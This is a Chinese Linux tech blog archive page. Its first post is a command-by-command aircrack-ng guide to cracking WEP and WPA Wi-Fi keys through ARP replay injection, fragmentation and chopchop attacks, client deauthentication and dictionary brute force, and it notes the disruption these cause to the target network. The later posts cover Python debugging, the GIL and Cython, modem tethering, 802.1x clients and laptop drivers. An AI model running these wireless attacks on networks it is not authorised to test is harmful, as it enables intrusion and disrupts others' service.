Unix/Linux-Catalog Archive:

Page 1 of 512345

aircrack-ng 系列工具使用笔记

初始化工作

airmon-ng start wlan0 9

打开一个网卡监听设备,并设置到channel 9; channel可用iwconfig修改

airodump-ng mon0

无参数启动airodump-ng可查看所有接收范围内的AP、Client信息

aireplay-ng -9 -e (bssid) -a (AP Mac) ath0

测试注入攻击链路质量

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听AP在频道的所有数据包并保存到output文件,此步应在以下步骤提到airodump的时候执行

WEP:

aireplay-ng -1 0 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

伪认证联机请求

aireplay-ng -1 6000 -o 1 -q 10 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

伪认证联机请求并发送保持在线数据

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听收集

aireplay-ng -3 -b (AP Mac) -h (Host Mac) ath0

监听arp报文,一旦出现就不断将该报文重发,使目标机器产生实际回应数据,发回更多IV数据。
此时若有“内奸”,即有可控制的已经连接在目标网段的机器,ping一个网段内不存在的IP即可产生这样一个arp报文,接下来可以运行aircrack破解了。注意这个步骤可能会对目标局域网产生类似ARP洪水攻击一样的效果,网内数据延时丢包都很严重。

对于无机器连接的WEP

aireplay-ng -5 -b (AP Mac) -h (Host Mac) ath0

Fragmenation攻击,监听一个AP广播出来的数据包,并抽离有效的伪随机数据(PRGA),保存到fragment-XXXX-XXXXX.xor文件供下一步使用.
有时监听到的不是广播包,转发攻击后ap没有回应,一系列重试后程序会重新监听; 有时候可能需要不少时间,加-F参数可以自动应答。

aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 

chopchop攻击,上述攻击不奏效可试,相同作用

packetforge-ng -0 -a (AP Mac) -h (Host Mac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request

根据fragment-0203-180343.xor文件的PRGA,产生arp请求包,保存到arp-request文件

使用-k 192.168.1.1 -l 10.255.255.255可使AP产生两倍的有效IV,192.168.1.1为确实存在的IP,通常的网关
使用-k 192.168.1.89 -l 10.255.255.255可使AP产生三倍的有效IV,192.168.1.89为确实存在的客户端IP

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听收集

aireplay-ng -2 -r arp-request ath0

不断注入上述产生的arp-request报文
这一步也会使目标网络接近瘫痪,极大延时,丢包。

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (AP Map) -h (Host Mac) ath0

上述产生、发送arp-request的步骤可由这一步替换,这是转发任何一个收到的有效数据包,方便,缺点是若数据包较大,转发过程较慢。还可使用-r capture-01.cap读取以前读取的有效数据进行转发注入。

aircrack-ng -b (AP Mac) capture*.cap 

解密

aircrack-ng -b (AP Mac) capture*.cap 

另一种解密算法

WPA/WPA2:

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听捕捉另外一客户端与ap之间的连接,上方出现WPA handshake: xx:xx...为成功

aireplay-ng -0 1 -a (AP Mac) -c (The Mac of a connected client) ath0

往已经连接到ap的一个客户端伪造一个离线包,使其离线重连以便捕捉handshake.
注意要收到ACK,才表明被攻击客户端收到,才会下线;发送离线不宜过密过多。

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

暴力破解。password.lst为密码字典,破解的成功率取决于字典的覆盖程度以及机器的速度。

Tags: , , ,

暂无评论

最简单方法远程调试Python多进程子程序

Python 2.6新增的multiprocessing,即多进程,给子进程代码调试有点困难,比如python自带的pdb如果直接在子进程代码里面启动会抛出一堆异常,原因是子进程的stdin/out/err等文件都已关闭,pdb无法调用。据闻winpdb、Wing IDE的调试器能够支持这样的远程调试,但似乎过于重量级(好吧前者比后者要轻多了,但一样要wxPython的环境,再说pdb的灵活可靠它们难以比拟)。

其实只需稍作改动即可用pdb继续调试子进程的代码,思路来自这个博客:子进程的stdin/out/err关闭了,那可以自己重新按/dev/stdout的名称打开来用。当然这指*nix下,win下要麻烦一些,后面再说。

pdb支持自定义输出输入的文件,我再稍作改动,使用fifo管道(Named Pipe)来完成pdb的输出输入的重定向,这样的好处是,可以同时对父子进程调试!

multiproces_debug.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
 
import multiprocessing
import pdb
 
def child_process():
    print "Child-Process"
    pdb.Pdb(stdin=open('p_in', 'r+'), stdout=open('p_out', 'w+')).set_trace()
    var = "debug me!"
 
def main_process():
    print "Parent-Process"
    p = multiprocessing.Process(target = child_process)
    p.start()
    pdb.set_trace()
    var = "debug me!"
    p.join()
 
if __name__ == "__main__":
    main_process()

只需要给pdb的构造参数传入stdin/stdout的文件对象,调试过程的输出输入就自然以传入的文件为方向了。这里需要两个管道文件p_in、p_out,运行脚本之前,使用命令mkfifo p_in p_out同时建立。这还未完成,还需要个外部程序来跟管道交互:

debug_cmd.sh

1
2
3
4
5
6
7
#!/bin/bash
 
cat p_out &
while [[ 1 ]]; do
    read -e cmd
    echo $cmd>p_in
done

很简单的bash。因为fifo管道在写入端未传入数据时,读取端是阻塞的(反之亦然),所以cat的显示挂在后台,当调试的程序结束后,管道传出EOF,cat就自动退出了。

实验开始:先在一个终端运行debug_cmd.sh(其实顺序无关),其光标停在新的一行,再在另外一个终端运行multiproces_debug.py,可见到两个终端同时出现了(Pdb)的指示符,可以同时对父子进程调试了!

在Windows下使用管道就没这么方便了,因为没有实体的管道文件支持,可以考虑使用socket的类文件对象传给pdb。但这样要写的python代码就多一点,以及要另外用做个交互程序;不过依然用不了多少代码,可以写成一个模块专门用做远程调试,import即用。暂未实现,以后有空弄好放代码出来。

Tags: , , , , , , ,

暂无评论

Python, C-Python, Cython代码与GIL的交互

这篇笔记相对Python来说,有点底层,先来解释几个名词:

C-Python: 或者CPython,指C实现的Python虚拟机的基础API。最通用的Python就是是基于C实现的,它的底层API称为C-Python API,所有Python代码的最终变成这些API以及数据结构的调用,才有了Python世界的精彩;

Cython:准确说Cython是单独的一门语言,专门用来写在Python里面import用的扩展库。实际上Cython的语法基本上跟Python一致,而Cython有专门的“编译器”先将Cython代码转变成C(自动加入了一大堆的C-Python API),然后使用C编译器编译出最终的Python可调用的模块。

GIL:Global Interpreter Lock,是Python虚拟机的多线程机制的核心机制,翻译为:全局解释器锁。其实Python线程是操作系统级别的线程,在不同平台有不同的底层实现(如win下就用win32_thread, posix下就用pthread等),Python解释器为了使所有对象的操作是线程安全的,使用了一个全局锁(GIL)来同步所有的线程,所以造成“一个时刻只有一个Python线程运行”的伪线程假象。GIL是个颗粒度很大的锁,它的实现跟性能问题多年来也引起过争议,但到今天它还是经受起了考验,即使它让Python在多核平台下CPU得不到最大发挥。

GIL的作用很简单,任何一个线程除非获得锁,否则都在睡眠,而如果获得锁的线程一刻不释放锁,别的线程就永远睡眠下去。对于纯Python线程,这个问题不大,Python代码会通过解释器实时转换成微指令,而解释器给他们算着,每个线程执行了一定的指令数后就要把机会让给别的线程。这个过程中操作系统的调度作用比较微妙,不管操作系统怎么调度,即使把有锁线程挂起到后台,尝试唤醒没锁的,解释器也不给他任何执行机会,所以Python对象很安全。

所以一般来说,做纯Python的编程不需要考虑到GIL,它们是不同层面的东西,但是模块级别的C-Python、Cython等C层面的代码,跟Python虚拟机是平起平坐的,所以GIL很可能需要考虑,特别那些代码涉及IO阻塞、长时间运算、休眠等情况的时候(否则整个Python都在等这个耗时操作的返回,因为他们没获得锁,急也没办法)。

想体现这个过程,很简单,考虑下面的代码,一段纯Python和一段纯C的循环,每次print一段文字就睡眠一秒。

1
2
3
4
5
6
7
void _c_loop ( void )
{
    while(1) {
        printf("Print from C loop\n");
        sleep(1);
    }
}
1
2
3
4
def _py_loop():
    while True:
        print "Print from Python loop"
        time.sleep(1)

先不管他们是如何揉合到同一Python进程里面,两个进程分别执行了这两个函数后,他们应该以大概相互间隔着输出文字;但实际情况是,Print from Python loop这句出现了一次之后(先启动了纯Python线程,否则它连启动的机会都没),剩下的输出全都是Print from C loop,不断的输出,按Ctrl + C都没反应(因为响应信号的只有住线程,终止信号是发出了,说不定主线程也收到了,但是解释器不给机会),只好从另外的控制台kill了整个python进程。

显然问题在于,运行C那段程序的进程获取了GIL,但是这是个死循环是永远都出不去的,所以GIL永远都在这个进程手里,别的进程只能睡觉。考虑到这个C程序的情况,因为循环里面只有printf跟sleep两个操作系统的调用,完全威胁不到Python对象的安全,所以GIL完全没必要插手进来。解决办法有两种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void _c_loop_1 ( void )
{
    Py_BEGIN_ALLOW_THREADS 
    while(1) {
        printf("Print from C loop\n");
        sleep(1);
    }
    Py_END_ALLOW_THREADS
}
 
void _c_loop_2 ( void )
{
    while(1) {
        Py_BEGIN_ALLOW_THREADS
        printf("Print from C loop\n");
        sleep(1);
        Py_END_ALLOW_THREADS
    }
}

Py_BEGIN_ALLOW_THREADS、Py_END_ALLOW_THREADS是定义在Python的C-API头文件里面的宏,需要给头文件包含上#include

两个解决办法看起来差不多,效果也差不多,但意义不大一样。

_c_loop_1是在进入永远都不会停的循环之前,把GIL交出去(还有保存自己的线程状态,但现在的例子这个没有意义),然后自己继续运行,这时候_c_loop_1是跟python虚拟机是互不相关的线程了,井水不犯河水,解释器的GIL爱给谁给谁。这时候“Python只能有一个线程运行”的传说就被破除迷信了。

_c_loop_2则是每次进行printf/sleep的调用前交出GIL,之后又申请要回来,然后循环回去马上又交出去(=。=)……

这个例子来说,当然是前者有效率了(=。=反正都是无用功,何来效率),只是为了在复杂的情况(C代码会影响Python对象,调用Python的函数等)下灵活运用。Py_BEGIN_ALLOW_THREADS、Py_END_ALLOW_THREADS其实只是两句语句的宏包含,Python手册里面有详细说明,甚至直接打开Python的include就可以看到。其中BEGIN那句调用了PyEval_SaveThread(),而打开Python源码,PyEval_SaveThread函数里面毅然有PyThread_release_lock()的调用。

上面这些,在《Python源码剖析——深度探索动态语言核心技术》一书,第15章Python多线程机制 15.4.2阻塞调度一节讲解得比较详细,书里面是直接拿出time.sleep/raw_input这些Python本身的代码来举例和分析。当然咯,本文加入了很多PT自己的发散性理解。

Cython在旁边说,怎么还没到我出场。恩,马上就来。

Cython其实是很纠结的东西,因为他用的是Python一样的语法,但经常不得不时时刻刻提醒自己,有时候是在写C,有时候在写Python(=。=)。C是强类型的,Python是弱类型的,所以写Cython的时候有时候是强类型的,有时候是弱类型的,一般变量还好,你可能会想一下类型,像我刚入门,经常把漏写参数类型,不过还好Cython的编译器是有提示的,当熟悉了规则后,用Python写C啊……通过Cython,不仅可以在Python调用C,还可以在C调用Python……Python的上天入地就靠他了。

Cython代码最终都是会编译成C的,上面例子那段py_loop,改个名字叫cy_loop吧,直接放入Cython里面编译即可,他完全会变成C,然后变得像C一样霸道,执行后拿了GIL永远不还回去。

显然,只有纯Python的代码需要在执行时候经过解释器解释的,才会“自动的”交回GIL,而Cython是编译成C的代码,执行不经过解释器,如果他不交回GIL,就拿它没办法的了。

Cython是留有GIL的交互接口,在Cython手册里面加起来才半页的说明,语焉不详地介绍了Cython下跟GIL的交互方法,如果没理解上面GIL的工作方式,像我那样把这两页翻烂了都看不懂的。像刚才的例子,cy_loop可以写成这样:

1
2
3
4
5
def cy_loop():
    with nogil:
        while True:
            printf("Print from Cython loop\n")
            sleep(1)

就是用with nogil块把循环围起来,对,就加一行。如果打开Cython转换而成的C代码,发现Cython用Py_UNBLOCK_THREADS和Py_BLOCK_THREADS把这段循环括起来了,查看Python C-API,Py_UNBLOCK_THREADS跟Py_BEGIN_ALLOW_THREADS其实是一样的,只差一个花括号。不过Cython还会盯着你在nogil块里面的代码,里面不能引用Python对象,不能调用Python的函数,要画清界线!啊我只是调用个printf跟sleep,人格保证这是C库的函数!可是这样Cython还是不让过,说在nogil里面不能调用需要gil的函数,恩,printf跟sleep是通过cdef预定义的,Cython可不知道这些函数是哪里的,就默认它们需要gil了。所以要在cdef引入的时候,在后面加上nogil的声明:

1
2
3
cdef extern from *:
    unsigned int sleep(unsigned int seconds) nogil
    int printf(char *format, ...) nogil

嗯,就这样,Cython编译器终于高兴了。

Cython里面关于GIL的另外一个接口是:

1
2
cdef void callback_func(void) with gil:
    ...

Cython会生成PyGILState_Ensure()的调用,来保证这个函数在线程获得锁的时候才运行。这个情况一般是用于C的回调函数,因为回调运行是不知道什么时候的,如果这个函数里面有对Python的引用,就需要保证获得了GIL才操作。又或者你在C代码里面又生成了新的线程,而且也会引用Python的东西(纠结……)。

本文例子代码包可这里下载,或Google Code在线查看;例子里面是分别是Python、Cython、C三个循环,因为有Cython的GIL接口,C代码里面就没有使用API的宏了(注释掉)。例子里面添加了全局变量end,主线程进入pause后按Ctrl + C触发使其为真,然后三个线程会相继退出。例子在linux下编译,如在win下编译可能要修改下C代码里面的sleep,以及signal.pause()。

例子代码运行效果:

Tags: , , , , , , ,

评论 (1)

Ubuntu 下使用蓝牙/USB连接黑莓8700上网

黑莓8700支持EDGE网络,用来做GPRS Modem是相当理想的,标准的mini usb接口,蓝牙2.0,完全足够EDGE的网络速度;

本来以为用蓝牙连接会很简单,在blueman里面连接即可,可是实际上,不行:

Failed: Modem Manager did not support the connection

之前用blueman连接Nokia的机,是没问题的,看来黑莓的Modem协议有点不同……Google了一下,找到了不少BB在Linux下的资料:
How use BlackBerry device with Linux【介绍了Linux对黑莓的配置、同步、安装软件、Modem、Java开发】
how to teather blackberry and linux via bluetooth【连BB蓝牙的完整过程,试验不成功】
Berry4all 通过USB连接BB Modem的专用程序

测试Berry4all终于能够连接上BB的GPRS,观察Berry4all其实也是建立了串口通信后,使用pppd的协议来建立数据链接的,要连接cmnet,还得修改其conf下的att-chat,即其中的“拨号”协议;

blueman虽然不能建立Modem链接,但是还是能够建立起/dev/rfcomm0,即通过蓝牙的串口链接;使用蓝牙教程,基本上都是使用hcitool等工具来配置的,使用起来真的好不方便,而blueman不是刚好帮忙搞定了蓝牙的配对连接等麻烦事情么……

于是把Berry4all的conf目录的att跟att-chat文件复制到/etc/ppp/peers,参照别的教程的配置,修改att,在开始115200那行前,加入nodetach跟/dev/rfcomm0两行,最后的connect调用chat文件的路径改成connect "/usr/sbin/chat -f /etc/ppp/peers/att-chat",att-chat里面修改一行:OK 'AT+CGDCONT=1,"IP","cmnet"' ,最后运行sudo pppd call att,终于用蓝牙连上了GPRS;

其实使用ppp连接modem的方法是最传统的,也是高度可定制(如连接后配置路由表、IP、DNS),不管是用Cable、USB、蓝牙还是红外,都可以这样完成,Of Linux, GPRS Phones, Serial Cable, Irda, Bluetooth and USB文章里面列举了好多这些例子;我修改了其中的三个脚本:gprs, gprs-connect-chat, gprs-disconnect-chat替代了上面Berry4all的att脚本,因为这脚本里面的注释非常详细,以防以后需要的调整;

这是我打包了修改好后(适用于移动CMNET上网的)gprs脚本,使用blueman连接了rfcomm0后,运行sudo pppd call gprs,就能连接上GPRS,ifconfig查看出现一个ppp0,可以直接上网了;

如果不使用blueman,完全使用bluez的工具的话,可以参照Blackberry Curve 8310 as Bluetooth Modem on Ubuntu Hardy,我没测试,不过按理说是可行的。

之所以这么折腾,其实可以说blueman的一个bug吧,似乎BB的Modem没啥特别,按通用的Modem都能连接到;有时间看看blueman的代码看能不能弄好……

Tags: , , , , ,

暂无评论

锐捷/联想/神州数码 802.1x客户端支持MacOS、BSD

Insion同学之前发来一段可以在MacOS/BSD编译运行获取网卡MAC地址的代码,于是整理了一下,让几个802.1x Client都能支持MacOS/BSD了。

下载了个FreeBSD 7.2在vbox虚拟机里面装了下,发现FreeBSD比Linux好像原始多了[呃,我说安装程序],分区的时候他不叫Create Partition,叫Create Slice,我对着界面看了半天才猜到,囧;退出那里写着:Q = Finish,Quit就Quit嘛,什么Finish,纠结……但还好,其他的配置跟Linux还是很相像的,调试了一下就有了全可编译的代码了。

代码部分修改倒没多少,就添加了一个专门给BSD系系统获取MAC的函数,再用maroc判断一下,以及几个头文件,就完事了,有点麻烦的是makefile,发现freebsd默认那个make好像是很古老很古老的版本,我程序里面那个Makefile是用了vim里面c-support插件里面带的Makefile模板,有点复杂,但是freebsd居然不支持!所以整理了个简单的版本,专门给MacOS/BSD编译,也方便别人的修改;另外一个原因是,程序里面转换服务器消息时候用了iconv库,linux里面iconv是系统内嵌库来的,用不着链接的时候给出参数,但MacOS/BSD偏偏就要-liconv……

需要编译MacOS/BSD版本的同学,可以check出项目里面trunk的代码,运行make -f Makefile.bsd来编译。Insion同学已经编译成功,而且在他的主页上有二进制版下载了。

相对的说,可能在MacOS里面编译是最麻烦的,我大概说说流程(实际上我没试过,我可没Mac机器[T.T])

1.安装gcc,参考这里http://connect.apple.com/的Dev Tools里面下载Xcode Tools,安装。
2.编译安装libpcap,从http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz下载源码,tar xvfz libpcap-1.0.0.tar.gz解压,进去该目录,./configure、make、make install安装完成;
3.编译802.1x客户端,从所用项目内签出源码,在目录内make,没出什么差错的话,已经完成了。然后按Readme.txt的方法安装运行,即可!

项目主页

锐捷:http://code.google.com/p/zruijie4gzhu/
联想:http://code.google.com/p/zlevoclient/
神州数码:http://code.google.com/p/zdcclient/

Tags: , , , , , ,

评论 (17)

Acer Aspire 4736ZG 本本上安家Linux的小问题

早天在新蛋上入手了Acer Aspire 4736ZG本本一台,T4200、1G、NV105M、250G,带蓝牙摄像头等,3600,还送了一台水星无线路由。低端本本为了降低成本,很多都是不装Windows的,这款也是,本来以为原装系统都是Linux,应该对Linux兼容不错的啦,那天到提货点验本本时候,运行一看,傻了,那个什么Linpus,2.6.15的内核,没带X,lshw没有,lspci没有,hwinfo更没有,总之就没什么东西好看的,除了黑漆漆的画面告诉我屏幕没坏点,就匆匆打上包回来了。

第一件事就是用Arch 09.08的Live CD启动重新分区,顺便装好core,但是启动后又傻了,连不上有线网卡……这款机器的网卡是Atheros AR8132的千兆卡,不知道是太新还是太罕见。几经折腾后发现规律:完全关机重开后,Arch就能认到网卡,ipconfig -a能看到eth0,但是ifconfig eth0 up了之后,是这个样子的:

eth0      Link encap:Ethernet  HWaddr 00:26:18:80:C5:AB
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4294967293 errors:4294967278 dropped:4294967290 overruns:4294967293 frame:4294967281
          TX packets:4294967293 errors:4294967284 dropped:0 overruns:4294967293 carrier:4294967291
          collisions:4294967281 txqueuelen:1000
          RX bytes:4294967293 (4095.9 Mb)  TX bytes:4294967293 (4095.9 Mb)
          Interrupt:28

大堆奇怪的数字,这时候不管dhcp还是手动指定IP,都没法正常工作的,如果这时重启,好,完全认不了网卡了,又要完全关机再开一次。

这个问题在Arch论坛上面也有人碰到,他的是华硕eeePC 1005HA,也是上个月的帖子。[详细情况帖子里面比较完备,但是,未解决]

于是我就转战Ubuntu。Ubuntu 9.04的Live CD版本也是没能驱动好这块网卡的,但是这里找到解决方法,总之就是到Atheros官网下载网卡的驱动,编译,挂载驱动模块,幸好Ubuntu的Live CD跟初始系统都带了GCC和Make utils,编译安装过程倒没什么波折,很快就折腾好连上网了。呃,怎么这么简单?于是试试在台式机的Arch上面编译了这个atl1c.ko,哇,一开始就一屏幕的错误……后来发现这个是这个驱动跟内核兼容问题,Ubuntu好像专门有补丁搞定的,Ubuntu 9.04把内核升级到2.6.28.15-generic网卡就完全正常了,也顺便下载了9.10的Live CD,直接iso启动,发现虽然是31内核,但是网卡工作也正常……好吧……看来要么等kernel彻底搞定这块网卡的驱动,不然只能自己找Ubuntu的patch来编译才能跑Arch了……

Ubuntu很是省心,挂上受限驱动什么3D特效全都出来了,跑了下glxgears,大概2600fps,比台式机的集显好一点吧……7025只有1300左右的fps;更新了一下系统,用Ubuntu Tweak添加了一堆三方源后拉好一大堆软件,基本可用了,另外的问题是,声卡的耳机输出没声音!

本本的耳机问题好像从来都是老大难的,因为音频接口的硬件随意性很大,Linux驱动的很难做到通用;本本里面的是ALC888 HD声卡,装了最新的alsa-driver 1.0.21,情况依旧,喇叭有声音,但是耳机就是没反应,也没那个选项有效;后来查看了一些帖子才知道,虽然是同一款驱动,但是有不同的挂载模式的参数,通常就是用来指定这类变化很大的接口等,有些帖子给出一大堆参数列表,说,在/etc/modprbe.d/alsa-base.conf里面更换不同的参数,然后重启测试……天啊,起码上百条的参数,要重启到哪个年月阿……稍微看了下,所谓的挂载参数就是传给modprobe的参数嘛,比如modprobe snd_hda_intel model=ooxx,只需要用不同的参数重新挂载snd_hda_intel,完全没必要重启阿……在Linlap找到一个AudioTester脚本,专门用来测试不同的模块挂载参数的,但是在Ubuntu下用也挺麻烦,正常模式下不让删除snd_hda_intel模块,只好启动到recover mode,手动挂载后运行这个脚本;终于测试到"lenovo-sky"这个参数能让耳机出声,证明还不是残废……但是进入alsamixer里面看,使用这个参数之后,只有寥寥几个选项,连录音都不见了……而且耳机跟喇叭是同时发声的,不能关闭喇叭……

后来想到,这个参数列表应该不是固定的,新的alsa里面应该会有新的参数,不知道有没有专用Acer的参数呢?因为看到原来的列表里面有acer跟acer-aspire,虽然两个没合适这款机器;grep了一下alsa-driver的源代码目录,发现sound/pci/hda/patch_realtek.c里面有一大堆acer xxxx,试了acer-aspire-4730g跟acer-aspire-4730g,设置成4ch/6ch模式后,终于能通过设置Surround让耳机出声,通过Front调整外放喇叭的声音!

Tags: , , , , , , , , ,

评论 (1)

通过python实现mutipart/form发送数据到paste.ubuntu.org.cn

paste.ubuntu.org.cn是国内很多linuxer喜爱的“在线剪贴板”,在跟网友交流时把代码、截图等发在这里,然后把网址发送给对方即可,而且对多种常见代码支持语法高亮,功能简单贴心。(不用像某网友在这个博客上篇帖子里面那样,在留言里面贴一大堆乱哄哄的代码……=。=)

虽说方便,但平时要发送文件时候还是要打开浏览器,再贴代码或者选择文件,多少有点繁琐,所以打算用python写个上传脚本,跟nautilous结合的话,上传截图就方便多了。

首先问球猫要了个ubpaste的perl的脚本,虽然我不懂perl,但发现上传部分只有10来行代码嘛……看来挺简单的,可能用urllib随便弄一下就可以了……结果发现,不行!paste.ubuntu.org.cn用的是mutipart/form协议方式的上传,而python标准库里面没有直接支持这种协议(perl却有……而且自动支持……所以几行代码搞定=。=)……

查了一下资料后自己写了个class来实现mutipart的boundary,才知道用http来发送文件,特别是上传大文件是这么麻烦的事情……不过还好,不算很复杂,但是整个脚本下来居然有150行代码了……=。=

现在还不能直接拿来当nautilous script用,因为第一个参数是读入文字而不是文件,还在犹豫用bash来重新封装(使用curl一行就搞定上面所说的上传了)……[懒ing]

Tags: , , ,

评论 (4)

深入了解校园网802.1x认证的EAP协议(3)——联想802.1x认证细节

联想的认证协议是我写的这几个802.1x实现里面相对简单的版本,没有太多古古怪怪的信息头信息尾部。

我们学校并没有使用过联想协议的认证系统,而是受了一位网友的邀请才写的,所以我连联想官方客户端的样子都没看到过,一直是由那网友抓包后发送过来,而我猜测地将其套入到此前我写的神州数码的认证程序里面,经过几天的调试,确实能用,虽然并不完全了解认证报文的每个细节。

PT实现的联想Linux客户端项目主页:http://code.google.com/p/zlevoclient/

以下的说明是基于EAP协议过程的补充描述,如果不清楚EAP,可先读深入了解校园网802.1x认证的EAP协议(1)——EAP的总体流程

认证过程报文的细节描述:

  1. EAPOL-Start、EAPOL-Logoff
    设置长度为0的协议包头,然后紧接6个意义不明的字节(可能是版本号之类),直接复制即可:
     {0x00, 0x00, 0x2f, 0xfc, 0x03, 0x00};
  2. EAP-RESPONSE-Identity
    长度为5(头部) + username_length,无特别,跟EAP标准一致,
  3. EAP-RESPONSE-MD5_Challenge
    长度为6(头部) + 16(MD5值) + username_length,在MD5值之后,先紧接用户名,然后是4字节的本机IP地址,以及9个意义不明的字节,直接复制:{0x00, 0x00, 0x2f, 0xfc, 0x00, 0x03, 0x01, 0x01, 0x00};
  4. EAPOL-KEEP-ALIVE
    当认证成功后,需要每60秒发送一次该报文,否则会断线;
    该报文的b:EAPOL 报文类型为0xFC,帧长值为12,其携带信息的前8字节在实际中似乎是随机变化,找不出其规律,不过实际上全部设0也可;后4字节则是本机IP。

在部分版本中,如吉林大学珠海学院,每隔5分钟(可能就在第五个EAPOL-KEEP-ALIVE发出之后)服务器会重新发来EAP-REQUEST-Identity,程序需要正确应答,特别要设置各个应答报文中的e:EAP通信id。

关于服务器返回的数据包,Success和Failure通常包含有中文编码的信息,标志是,EAP报文结束后,紧接0x00002ffc(大概0x18、0x19),其后接着是一个字节的报文长度,再后就是gb2312编码的中文信息。

由于协助我测试的湖南人文科技学院的网友他们的系统是纯手工设置网卡IP的,所以我也不清楚是否有像其他品牌的协议那样有动态静态IP位之类的信息位,如果发现这个版本的程序不能通过认证,可以自己抓包分析,或邮件联系PT。

Tags: , , ,

评论 (8)

Page 1 of 512345